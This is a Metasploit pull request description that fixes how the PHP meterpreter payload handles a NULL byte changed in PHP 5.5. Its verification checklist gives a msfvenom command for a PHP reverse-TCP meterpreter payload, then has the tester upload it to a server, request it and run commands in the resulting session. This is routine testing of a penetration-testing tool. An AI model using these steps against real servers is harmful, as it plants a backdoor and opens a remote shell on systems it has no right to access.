rapid7/metasploit-framework — pull request #3491 by jlee-r7 (2014-07-03 21:40:44+00:00)
Title: Strip the NULL that PHP no longer strips

As of PHP 5.5.0, unpack("a", ...) no longer strips the NULL byte from
the end of the string. A new format specifier, Z, was introduced to
perform the old behavior, but we don't have a good way to test for its
existence. Instead, just remove it with str_replace.

Verification:
- [ ] find php version 5.5.0 or newer somewhere. This is default on at least Ubuntu 14.04
- [ ] build a payload `msfvenom -p php/meterpreter/reverse_tcp LPORT=... LHOST=... -f raw > rm8823.php`
- [ ] set up a handler for the above values
- [ ] upload rm8823.php to that server and request it
- [ ] VERIFY: session created
- [ ] VERIFY: session is usable. `pwd`, `getuid`, `sysinfo`
- [ ] repeat the above for php version < 5.5.0